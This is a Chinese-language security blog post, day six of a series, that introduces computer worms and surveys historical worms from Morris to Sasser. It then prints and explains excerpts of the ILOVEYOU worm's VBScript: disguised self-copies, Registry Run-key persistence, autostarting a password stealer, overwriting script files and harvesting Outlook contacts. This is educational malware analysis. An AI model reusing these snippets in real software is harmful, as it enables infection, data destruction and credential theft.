iT邦幫忙

2017 iT 邦幫忙鐵人賽
DAY 6
3
Security

資事體大 毒擋一面 - 資安防護深入淺出系列 第 6

[Day06] 病毒介紹 - 萬頭鑽洞 隨機肆虐的電腦蠕蟲

電腦病毒(Virus)一般需要使用者執行後,才會觸發並感染電腦,其目的在於感染電腦內的檔案,傳播方式則可能會將被感染的檔案以網路,隨身碟或共用資料夾傳播被感染的檔案,使其他電腦在執行被感染檔案後也跟著被感染。

蠕蟲病毒(Worm)則不同,電腦蠕蟲不需要依附在其它程式中,往往是利用系統漏洞就能夠自行執行與複製。若是駭客發現了系統漏洞,而作業系統或應用程式的發布者也沒有及時察覺,蠕蟲就可以經由網路入侵你的電腦並執行感染。所以不同於病毒能夠不去點擊執行來預防,蠕蟲的自動執行往往會造成重大的損失與危害。蠕蟲未必會感染及破壞系統及檔案,但由於其大量繁衍複製與網路傳播的機制,往往都會嚴重占用頻寬。

在[病毒的故事]中提到了,在 1980 年, Xerox PARC 的工程師寫了最早的蠕蟲病毒,本來的目的是用來進行分散式運算,目的在於輔助科學實驗。但當時萬萬沒想到,這小東西日後數次造成網路與電腦的重大損失與危害。

以下列出幾個知名的蠕蟲病毒:

1988 年由 Robert Tappan Morris 編寫的莫里斯蠕蟲(Morris Worm)

是第一隻非實驗室製造出的蠕蟲,也是第一宗依據 1986 年頒布的 Computer Fraud and Abuse Act 定罪的案件。利用 Unix 系統中幾項程序的已知漏洞進行傳播與感染,以 C 語言撰寫。在當時感染了大約 6000 台 Unix 計算機, 美國的政府審計辦公室估算出該蠕蟲造成的損失為 1000 萬至 1 億美元。
下圖為存有莫里斯蠕蟲原始碼的磁碟,現展示於波士頓科學博物館中。
存有莫里斯蠕蟲原始碼的磁碟

1989 年的反核蠕蟲 WANK(Worms Against the Nuclear Killer)

攻擊美國NASA與軍事基地,並在感染的電腦上顯示"You talk of times of peace for all, and then prepare for war.",這隻蠕蟲主要影響的是使用 DEC VMS 系統的電腦,並利用 DECnet protocol 傳播,而非 TCP/IP。是為較含政治意味的一隻病毒。

2000 年的 ILOVEYOU Worm

又稱為 LOVELETTER,是一隻以 VBS 撰寫的病毒。在當時對於 VBS 的缺陷以及可以被利用造成的破壞力並未有許多研究,因此產生非常重大的危害,在全球預估造成數十億美金的損失。這隻蠕蟲會在 Windows 的註冊表中增加登錄檔,讓使用者在一開機就會啟動病毒。蠕蟲會尋找圖片檔以及 script 檔並加以複寫,更改附檔名為 .vbs。最後會尋找 outlook 中的通訊錄並藉此向外以 e-mail 傳播給其他聯絡人已達到傳播目的。同時也會下載一 exe 檔竊取使用者密碼並回傳給病毒發行者。在危害上同時具備蠕蟲,病毒以及木馬的能力。

2001 年的 cheese worm

在 2001 年時,一隻名為 Lion 的蠕蟲出現在 linux 系統上,並且安裝木馬預留後門聽取 TCP port 10008 讓駭客得到使用者權限並加以操控。但這裡要講的不是這隻 Lion,而是有趣的 Cheese worm。在 Lion worm 釋出不久後網路上就聲稱有一隻能夠"處理"Lion 的蠕蟲。cheese worm 會在 /etc/inetd 中刪除所有 /bin/sh 的字句,這些字句都是 Lion 為了預留後門而更改的。cheese 並重啟 inetd 兩次,讓所有 /bin/sh 程序終止。

cheese worm 並不是第一隻"friendly worm",過去也有一些蠕蟲出現目的是自動幫使用者下載 patch 來修補漏洞,預防被其他惡意蠕蟲感染。當然即使這些蠕蟲意圖為友善,也可能會為了要傳播到其他電腦進行修補而造成網路頻寬的阻塞,嚴重甚至可能會造成 DoS。

2001 年 9 月的 Nimda Worm

不同於以往蠕蟲只能攻擊單一作業系統與平台,Nimda 對當時常見的Windows 98/Me, NT, 2000 及 XP 都有感染能力。透過不同的攻擊方式不斷嘗試直到攻擊成功。Nimda 會使電腦中記憶體嚴重被占用並造成網路嚴重阻塞甚至癱瘓。僅花了 22 分鐘就成為當時傳播數最高的蠕蟲。

其傳播方式也比以往多元,包括 e-mail,瀏覽網站植入,公開網路共享空間,Microsoft IIS server 漏洞以及某些病毒之前感染所留下的後門。

2003 年的 Blaster Worm

又被稱為衝擊波病毒或疾風病毒。針對微軟的遠端程序呼叫(Remote Process Call)出現的 buffer overrun 漏洞進行攻擊。有人推測它是對微軟的 patch 進行 reverse engineering 找出其漏洞。微軟在之後釋出 MS03-026 與 MS03-039 對其漏洞進行修補,並提供清除該蠕蟲的工具,但仍造成十萬台以上的電腦遭受攻擊。這隻蠕蟲在程式碼中隱藏兩段話,其中一句是"I just wannt to say LOVE YOU SAN!!" 因此它也被稱為 love san worm。另一句則是"Bill Gates why do you make this possible? Stop making money and fix your software!!", 對於 Bill Gates 的嘲諷。中了該蠕蟲的電腦會每 60 秒進行一次重開機或空白的開機畫面。

因為 Blaster 以及同一年出現的 sobig worm 等其他蠕蟲造成的網路重大危害,許多資安專家認為 03 年是網路安全最糟糕的一年。

2004 年的 Sasser Worm

又被稱為震盪波病毒或殺手病毒,利用 windows NT 上的"本機安全認證子系統服務(Local Security Authority Subsystem Service-LSASS)"漏洞進行攻擊,隨機掃瞄電腦 IP 並攻擊仍存在漏洞的電腦。該蠕蟲以此漏洞遠端執行程式碼以獲取完整的控制權,可以安裝程式,變更以及刪除資料。該蠕蟲造成網路癱瘓,繼而影響許多商業活動,包括鐵路以及航空等交通設施出現干擾與延遲,某些銀行暫時關閉等。
該項漏洞於之後的 MS04-011 進行修補。

接下來好玩一點,我們來進行一些分析吧!!

蠕蟲感染實例以及程式解析:

IRC worm 感染實例

下圖為一隻 IRC worm 感染情形
IRC worm
在經過 IRC worm 感染完後,在 Windows\system32 下產生出數個偽裝成常用 .dll 的 javascript 檔,檔案大小皆為 5kb,然而實際上這幾個 javascript 檔的內容一模一樣,這也是其中一種方式,蠕蟲複製自己到其他資料夾,並繁衍增加自己並且在從網路散撥出去。

ILOVEYOU Worm 的關鍵程式碼解析

我們從 ILOVEYOU Worm 取材來解析一下關鍵的部分吧。

請注意,ILOVEYOU Worm 樣本可在網路上找到,但僅供學習用,千萬要小心使用並勿惡意去攻擊他人唷
Set dirwin = fso.GetSpecialFolder(0) 
Set dirsystem = fso.GetSpecialFolder(1) 
Set dirtemp = fso.GetSpecialFolder(2) 
Set c = fso.GetFile(WScript.ScriptFullName) 
c.Copy(dirsystem&"\MSKernel32.vbs") 
c.Copy(dirwin&"\Win32DLL.vbs") 
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") 

透過 GetSpecialFolder 個別取得 WindowsSystem32 以及 Template 的路徑,並複製 2 個檔案到 System32路徑下,分別取名為 MSKernerl32.vbsLOVE-LETTER-FOR-YOU.TXT.vbs,同樣複製 1 個檔案到 Windows路徑下,命名為 Win32DLL.vbs,很可能讓使用者在未開啟檢視副檔名選項時,以為是正常檔案誤開啟這些檔案。

regcreate 
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32", dirsystem&"\ MSKernel32.vbs" 
regcreate 
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Services\Win32DLL", dirwin&"\ Win32DLL.vbs" 

會將要剛剛複製出來的檔案加至登錄檔(Registry),讓使用者在一開機就會自動啟動病毒。

if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then 
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX",downread&"\ WIN-BUGSFIX.exe" 

WIN-BUGSFIX.exe 的檔案存在,則同樣設定使它在一開機時即自動啟動病毒,WIN-BUGSFIX.exe 會竊取使用者密碼並回傳給病毒發行者。

if (ext="vbs") or (ext="vbe") then 
    set ap=fso.OpenTextFile(f1.path,2,true) 
    ap.write vbscopy 
    ap.close 
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then 
    set ap=fso.OpenTextFile(f1.path,2,true) 
    ap.write vbscopy 
    ap.close 

透過副檔名尋找 script 檔案並加以覆寫檔案內容。

set regedit=CreateObject("WScript.Shell") 
set out=WScript.CreateObject("Outlook.Application") 
set mapi=out.GetNameSpace("MAPI") 
for ctrlists=1 to mapi.AddressLists.Count 
set a=mapi.AddressLists(ctrlists) 

尋找 outlook 中的通訊錄並以 e-mail 方式散播給其他聯絡人。

以上為 ILOVEYOU Worm 主要的行為,使用上記得

千萬要小心

千萬要小心

千萬要小心

蠕蟲散播的方式有很多種,有的透過 USB,如列印店的常客-Autorun worm,有的運用共用資料夾,如 BugBear worm,有的運用 IRC(Internet Relay Chat),如 IRC worm,有的運用 RPC(Remote Procedure Call),如 Blaster worm,一時之間也講不完,後續如果還有篇幅再繼續介紹囉。

希望有興趣的讀者也能夠點個追蹤,有任何問題或有想多了解的地方也可以回覆在文章底下唷,謝謝你們XDDDD!

參考來源:
維基百科 https://en.wikipedia.org/wiki/List_of_computer_worms
CERT https://www.cert.org/historical/advisories/CA-1989-04.cfm?
SANS Institute InfoSec Reading Room https://www.sans.org/reading-room/whitepapers/malicious/cheese-worm-pros-cons-friendly-worm-31
cexx.org http://www.cexx.org/ [for the loveletter sample]
Microsoft technet https://technet.microsoft.com/library/security/ms04-011


上一篇
[Day05] 病毒介紹 - Trojan Horse—木馬病毒(2)
下一篇
[Day07] 病毒介紹 - 病毒界也有電影明星
系列文
資事體大 毒擋一面 - 資安防護深入淺出31
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言